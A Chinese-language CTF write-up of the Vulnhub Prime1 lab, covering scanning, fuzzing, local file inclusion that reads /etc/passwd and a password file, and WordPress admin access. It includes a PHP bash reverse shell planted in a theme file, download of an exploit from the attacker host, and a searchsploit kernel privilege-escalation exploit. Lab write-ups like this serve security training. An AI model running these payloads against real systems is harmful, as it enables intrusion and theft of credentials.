「红队笔记」靶机精讲:Prime1 - 信息收集和分析能力的试炼
本文是作者在观看 B 站《红队笔记》后做的一些笔记及相关知识的补充。学渗透特别推荐大家去看。如有侵权,请联系作者,作者看到后会第一时间删除。
靶机精讲之Prime1,vulnhub靶机,信息收集和分析能力的试炼,可以先盲打,看能否按图索骥。中间还是涉及模糊测试、wordpress利用,常规打法,但也需要扎实的基本功。提权可用内核提权。
– 红队笔记
nmap 五部曲
主机发现
sudo nmap -sn 10.10.10.0/24
靶机 IP 为 10.10.10.22 。
端口扫描
sudo nmap --min-rate 10000 -p- 10.10.10.22
发现 22 和 80 两个端口是开放的。22 端口是熟知的 ssh 服务,80 端口是 web 服务。
全面扫描
sudo nmap -sT -sV -O -p22,80 10.10.10.22
UDP 扫描
sudo nmap -sU -p22,80 10.10.10.22
漏洞脚本扫描
sudo nmap --script=vuln -p22,80 10.10.10.22
访问 web 页面
既然开放了 web 网站,那么先访问一下看看。
只有一张图片,是 kali 的龙形象:
HacknPentest:Penetration Testing
(或简称 PenTest ),即渗透测试,中间的 n 可能是 and 的意思。
查看源代码:
没发现什么有价值的东西,hnp 应该是 HacknPentest 的缩写。
进行目录爆破
目录爆破的工具有很多种,比如 dirsearch ,gobuster,feroxbuster,dirb ,不同工具的运行机制可能有所不同,但是比起切换工具,我们更应该关注一个工具其中的参数的设置和字典的设置,把一个工具用精。
可以用 man 命令查看 dirb 的参数:
man dirb
使用 dirb 进行默认扫描:
dirb http://10.10.10.22 -o report/dirb.txt
在扫描结果中发现当前目录下有一个 dev
目录,很可疑。
使用 curl 获取响应内容:
sudo curl http://10.10.10.22/dev
执行该命令会发送一个 GET 请求到 IP 地址为 10.10.10.22 的服务器的 ./dev 路径,并返回服务器的响应内容。具体返回的内容取决于服务器的配置和 ./dev 路径下的资源。
返回结果:
这里给了一些提示,要我们再挖掘的深入一点。大概是目录爆破要再精确一点的意思。
使用 wget 保存响应内容:
sudo wget http://10.10.10.22/dev -o report/dev
既然是信息,那就先保存一下。
用 dirb 指定文件后缀名进行扫描
dirb http://10.10.10.22 -X .zip,.txt -o report/dirbvaryhard.txt
在当前目录下发现了一个 secret.txt 文件。
依然是用 curl 获取文件内容:
curl http://10.10.10.22/secret.txt
返回结果:
在每一个你发现的 PHP 文件做一些 fuzz (模糊测试),如果你仍然卡在这,可以访问下面的链接。链接中给了一个做模糊测试的工具。
https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web
OSCP ( Offensive Security Certified Professional ) 是一个国际性的安全从业人员的专业技能认证证书,由 Kali Linux 官方组织颁布。
这里其实已经很明确的提示我们要去找 PHP 文件了。
这是一个比较重要的信息,用 wget 保存一下:
sudo wget http://10.10.10.22/secret.txt -o report/secret.txt
dirb 指定后缀名为 php 的扫描
dirb http://10.10.10.22 -X .php -o report/dirbphp.txt
结果发现当前目录下存在 index.php 和 image.php 两个文件。接下来要对这两个文件做模糊测试。
用 wfuzz 工具进行模糊测试
模糊测试是一种自动或半自动的测试技术,常被用来发现软件/操作系统/网络的代码中的错误和安全性问题,其中用于输入随机的数据和不合法的数据被称为“FUZZ”。之后,系统将被监视各种异常,如系统崩溃或内置代码失败等。
上面那个链接给了一条命令:
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 --hw 500 http://website-ip/index.php?FUZZ=something
wfuzz 是一个模糊测试工具,kali 中默认已安装。
查看帮助文档:
wfuzz --help
-c : Output with colors. 输出结果高亮显示。
-w wordlist : Specify a wordlist file (alias for -z file,wordlist). 指定一个单词列表文件(-z文件的别名,单词列表)。
–hc/hl/hw/hh N[,N]+ : Hide responses with the specified code/lines/words/chars (Use BBB for taking values from baseline).
这是一个过滤器,指定按哪一列的值进行过滤。(其输出结果有五列,分别是 code/lines/words/chars/payload ,表示状态码/行数/长度/字节数/攻击载荷)。
–hc 404 就是不显示 code 列值为 404 的行,–hw 500 就是不显示 words 列值为 500 的行。
将上面的命令稍作修改:
对 image.php 进行模糊测试
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt http://10.10.10.22/image.php?FUZZ=RedTeamNotes
最后的 FUZZ=something 等号右边可以随便改。
发现结果中 code 列全为 200 ,lines 列全为 6 ,words 列全为 12 ,chars 列全为 147 。显然,需要找出特别的行,像这种一样的大多数行几乎不可能是想要的结果。
因此对上面的结果做一些筛选:
挑选 words 列不为 12 的行:
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hw 12 http://10.10.10.22/image.php?FUZZ=RedTeamNotes
无结果。
挑选 chars 列不为 147 的行:
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 147 http://10.10.10.22/image.php?FUZZ=RedTeamNotes
还是无结果。
既然这个文件没有什么发现,那就对另一个文件做模糊测试。
对 index.php 进行模糊测试
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt http://10.10.10.22/index.php?FUZZ=RedTeamNotes
发现结果中 code 列全为 200 ,lines 列全为 7 ,words 列全为 12 ,chars 列全为 136 。
挑选 chars 列不为 136 的行:
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 136 http://10.10.10.22/index.php?FUZZ=RedTeamNotes
结果只有一行,该行的 payload 为 " file " 。
继续深入
将 file 作为参数去访问 index.php 页面:
sudo curl http://10.10.10.22/index.php?file
响应内容:
你正在挖一个错误的文件。
保存响应内容
sudo curl http://10.10.10.22/index.php?file > report/wrongnotice.txt
既然这是一个错误的文件,那正确的文件是什么呢?还记得之前 secret.txt 文件的内容吗。最后一句话提示去查看 location.txt 文件。
当然不是指当前目录下的 location.txt ,因为之前 dirb 都没扫出来有这个文件,那要怎么查看呢,以 file 作为参数的话,是否可以查看呢?
sudo curl http://10.10.10.22/index.php?file=location.txt
返回结果:
现在你已经找到了精确的参数,接着往下挖。使用 “secrettier360” 参数在其他的一些 PHP 页面做测试。
显然,除了 index.php ,就只有 image.php 了。
使用 scrot 截屏保存该信息:
scrot -s report/location.png
使用 xdg-open 查看图片
xdg-open report/location.png
将 secrettier360 作为参数去访问 image.php 页面:
sudo curl http://10.10.10.22/image.php?secrettier360
返回结果:
最终你得到了正确的参数。
保存响应内容
sudo curl http://10.10.10.22/image.php?secrettier360 -o report/rightpara.txt
都到这一步了,当然要试试文件包含了。
本地文件包含
由于暂时找不到更多的信息,又提示找到了正确的参数,那么就试试本地文件包含吧。
sudo curl http://10.10.10.22/image.php?secrettier360=../../../../../../etc/passwd
成功回显结果:
保存结果
sudo curl http://10.10.10.22/image.php?secrettier360=../../../../../../etc/passwd -o report/passwd.txt
注意到结果中有三个有价值的用户:root,victor,saket 。一般除了 root 以外的正常用户都在后面,因为是新添加的。
其中 root,victor 都是给了 /bin/bash 交互环境,saket 则是放在正常用户应该在的家目录下(/home)。
在 saket 用户的描述中提示可以在 /home/saket 目录下找到一个 password.txt 文件。
那么依然是利用文件包含来获取该文件
sudo curl http://10.10.10.22/image.php?secrettier360=../../../../../../home/saket/password.txt
返回结果:
保存结果:
sudo curl http://10.10.10.22/image.php?secrettier360=../../../../../../home/saket/password.txt -o password.txt
在这里获得了一个密码:follow_the_ippsec ,那么这个密码在哪用呢。
尝试 ssh 连接
ssh victor@10.10.10.22
ssh saket@10.10.10.22
均失败。
其实之前在用 dirb 扫描的时候有扫出一个 WordPress 文件夹,但是当时没有去看,因为看到了更直接的 dev 文件,但是现在是时候回过头来看看了。
WordPress 内容管理系统
WordPress 是一款个人博客系统,并逐步演化成一款内容管理系统软件,它是使用 PHP 语言和 MySQL 数据库开发的,用户可以在支持 PHP 和 MySQL 数据库的服务器上使用自己的博客。
WordPress 的使用量居全球第一,碾压了其他内容管理系统,在一个名为钟馗之眼(https://www.zoomeye.org/about)的网站上可以查看。
使用 wpscan 进行漏洞扫描
Wpscan 是一款 kali linux 开源的命令行工具,专门用于扫描和识别 WordPress 网站中的漏洞和安全问题。它可以帮助安全研究人员、渗透测试人员以及网站管理员识别和修复 WordPress 网站可能存在的安全漏洞。
下载 wpscan:
apt install wpscan
查看帮助文档:
wpscan --help
执行扫描:
sudo wpscan --url http://10.10.10.22/wordpress -e u
–url URL The URL of the blog to scan. 要扫描的博客的URL 。
Allowed Protocols: http, https. 允许的协议:http,https 。
Default Protocol if none provided: http. 默认协议(如果未提供):http 。
This option is mandatory unless update or help or hh or version is/are supplied.
除非提供了更新、帮助、hh或版本,否则此选项是强制性的。
-e, --enumerate [OPTS] Enumeration Process 枚举过程
Available Choices: 可用选项:
vp Vulnerable plugins vp 易受攻击的插件
ap All plugins ap 所有插件
p Popular plugins p 热门插件
vt Vulnerable themes vt 易受害主题
at All themes at 所有主题
t Popular themes t 流行的主题
tt Timthumbs tt 蒂姆拇指
cb Config backups cb 配置备份
dbe Db exports dbe Db导出
u User IDs range. e.g: u1-5 u 用户ID范围。例如:u1-5
Range separator to use: ‘-’ 范围分隔符用:“-”
Value if no argument supplied: 1-10 如果未提供参数,则为值:1-10
enumerate – 枚举,-e 指定要列举什么。
这里只扫描有哪些用户,是因为拿到了密码,但不知道用户名是什么。
输出结果:
可见只有一个名为 victor 的用户,但其实这个用户名在 WordPress 页面也能看到。
保存输出结果:
sudo wpscan --url http://10.10.10.22/wordpress -e u -o report/wordpress.txt
登录到后台
回去看看 dirb 的扫描结果:
其实 WordPress 的后台登录界面就是在 ./wordpress/wp-admin
,这个路径可以记住。
以
用户名:victor
密码:follow_the_ippsec
成功登录到后台。
wordpress 网站渗透
一般在做网站渗透的时候要特别注意上传文件的地方,比如 WordPress 后台有上传 plugins(插件) 的地方,还有上传 themes(主题) 的地方。常见的还有上传头像的地方。
插件上传处要求是 zip 文件,先传一个正常的 zip 文件看能不能上传。结果的不能的,从返回结果来看似乎父目录没有足够的权限。
这条路走不通。
在后台的 appearence->themes editor 处可以编辑文件,在这里尝试插入木马。当然,插入什么之前要看看有没有修改权限。这里的大部分文件都是没有修改权限的。没有修改权限的话在最下面会有一句话:
“You need to make this file writable before you can save your changes.”
像什么 css,js,json 文件都没有什么价值,因为它们不具备执行性。该网站使用 PHP 语言作为在服务器端执行的脚本语言,所以我们主要找 PHP 文件即可,
在此处遍历 PHP 文件,最终发现一个 secret.php 文件,具备写入权限。
写入马子:
<?php exec("/bin/bash -c 'bash -i /dev/tcp/10.10.10.3/443 0>&1'") ?>
exec 函数是 PHP 中常用的一种执行外部系统命令的函数,可以让 PHP 程序直接调用操作系统的命令行执行命令。
/bin/bash -c 是一个 Linux 命令,它的作用是在一个新的 Bash shell 中执行给定的命令。其中 /bin/bash 是 Bash shell 的路径,-c 是一个选项,表示后面跟着的是要执行的命令。
保存修改。
kali 开启监听:
nc -lvnp 443
访问 secret.php 页面,可以看到 kali 中已经获得该机器的权限。
提权
信息搜集
whoami
查看当前用户信息,当前拿到的是 www-data 的权限,这是一个低权限用户。
uname -a
查看系统信息:
sudo -l
查看当前用户的权限:
当前用户对于 /home/saket/enc 文件具有 root 权限,且可以无需密码执行。
cd /home/saket
ls -liah
发现当前用户对于 /home/saket/enc 仅有执行权限,而没有查看和写入权限。
cat /etc/crontab
查看定时任务:
显然没有权限。
/etc/passwd 可以看,但是 /etc/shadow 不能看,那就无法破解密码。
内核漏洞提权
在上面的结果中可以看出该靶机的内核版本较低( linux ubuntu 4.10.0-28-generic ),可能存在内核漏洞。
searchsploit 命令检索漏洞信息
关于 searchsploit
searchsploit 是一款开源的漏洞利用和漏洞扫描工具,它提供了一个简单的命令行界面,让用户能够搜索到漏洞利用和漏洞扫描工具中所包含的所有漏洞的专利权。这些漏洞利用和漏洞扫描工具的漏洞信息来自于一些公开的漏洞数据库,如 NVD、CVE、OSVDB 等等。使用 searchsploit 可以快速搜索到特定漏洞的版本,提高漏洞利用的效率。
这个工具可以称得上是渗透利器了,可以多多使用哦~。
使用方法
searchsploit 的使用方法如下:
-
搜索漏洞:使用命令
searchsploit <关键字>
来搜索特定的漏洞。例如,searchsploit wordpress
可以搜索与 WordPress 相关的漏洞。 -
显示漏洞详细信息:使用命令
searchsploit -x <漏洞编号>
来显示特定漏洞的详细信息。漏洞编号可以从搜索结果中获取。 -
下载漏洞利用脚本或漏洞扫描工具:使用命令
searchsploit -m <漏洞编号>
来下载特定漏洞的利用脚本或扫描工具。下载的文件将保存在当前目录中。 -
更新漏洞库:使用命令
searchsploit -u
来更新漏洞库,以获取最新的漏洞信息。 -
显示搜索结果的详细信息:使用命令
searchsploit -p <漏洞编号>
来显示特定漏洞利用程序的详细信息。 -
显示漏洞利用程序的漏洞文件路径:使用命令
searchsploit -f <漏洞编号>
来显示特定漏洞利用程序的漏洞文件路径。
请注意,searchsploit 的漏洞库需要定期更新以获取最新的漏洞信息。
searchsploit Linux ubuntu 4.10.0-28
┌──(root㉿kali)-[~]
└─# searchsploit linux ubuntu 4.10.0-28
--------------------------------------------------------------------------------------- --------------------
Exploit Title | Path
--------------------------------------------------------------------------------------- --------------------
Linux Kernel 4.10.5 / < 4.14.3 (Ubuntu) - DCCP Socket Use-After-Free | linux/dos/43234.c
Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation | linux/local/45010.c
Ubuntu < 15.10 - PT Chown Arbitrary PTs Access Via User Namespace Privilege Escalation | linux/local/41760.txt
--------------------------------------------------------------------------------------- --------------------
Shellcodes: No Results
这段输出信息中包含了三个漏洞的利用程序信息,以及其在 searchsploit 安装目录中的路径。具体来说:
-
第一个漏洞是针对 Linux Kernel 4.10.5 和低于 4.14.3 版本存在的 DCCP Socket Use-After-Free 漏洞的攻击代码。攻击代码路径为
linux/dos/43234.c
。该攻击代码可用于实现攻击,导致目标系统遭受拒绝服务(DoS)攻击。 -
第二个漏洞是针对 Ubuntu 16.04 及 Fedora 27 等系统上存在的本地提权漏洞的攻击代码,该漏洞可导致攻击者获得系统管理员权限。攻击代码路径为
linux/local/45010.c
。 -
第三个漏洞是针对 Ubuntu 15.10 及以下系统上存在的一个命名空间特权提升漏洞的攻击代码。攻击代码路径为
linux/local/41760.txt
,并提供了漏洞的详细描述。
最后,searchsploit 还提供了 Shellcodes 和 Exploit-db 的其他搜索结果。然而,搜索结果未显示 Shellcode 和其他利用程序的结果。
这里利用一下第二个漏洞:
searchsploit linux ubuntu -m 45010
-m
选项表示下载漏洞利用模块,这个命令的作用是使用 searchsploit 工具在本地数据库中搜索包含字符串linux
和ubuntu
,并过滤出45010
编号的漏洞利用脚本,然后将该漏洞利用脚本下载到当前目录中。
ls
# 发现当前目录下多了一个 45010.c 的文件,这是一个用 C 语言编写的漏洞利用脚本。
cat 45010.c
# 要养成查看文件的好习惯
将漏洞利用脚本上传到靶机上
kali 上使用:
sudo php -S 0:80
-S <addr>:<port> Run with built-in web server.
这条命令相当于在本地开启一个服务器,可以用自己的浏览器通过 http://127.0.0.1 来访问。
此时,在靶机上已经拿到了 www-data 的权限,在这里执行命令:
wget http://10.10.10.3/45010.c
将 kali 上的 45010.c 文件下载到靶机上,用这种方式传输文件,新奇。10.10.10.3 是攻击机 kali 的 ip 。
由于 C 语言文件需要编译后才能运行,故而这里有两种方式,一种是在攻击机上编译后再传到靶机上,另一种就是直接在靶机上编译。
第一种:
kali 上用 gcc 编译该 C 文件:
gcc 45010.c -o 45010
-o 指定编译后的文件名,如果不指定的话默认的输出文件为 a.out 。
靶机上用 wget 下载该文件:
wget http://10.10.10.3/45010
靶机上运行该文件:
./45010
但这种方法可能有问题,在本次试验中不成功。
第二种:
靶机上用 wget 下载源文件:
wget http://10.10.10.3/45010.c
这样下载的文件,当前的 www-data 用户对其有着全部的权限。
靶机上编译源文件:
gcc 45010.c -o 45010
靶机上运行该文件:
./45010
这种方法要求靶机上已经安装好了 gcc 编译器。
本次试验中第二种方法成功执行。
此时执行 whoami ,发现已经是 root 权限,但是没有命令提示符,执行下面的命令以获得命令提示符:
# 查看当前安装了哪些软件包,是否安装了 python 程序:
dpkg -l
# 如有 python 程序,执行一下命令获取命令提示符:
python -c "import pty;pty.spawn('/bin/bash');"
至此,这台靶机渗透完成。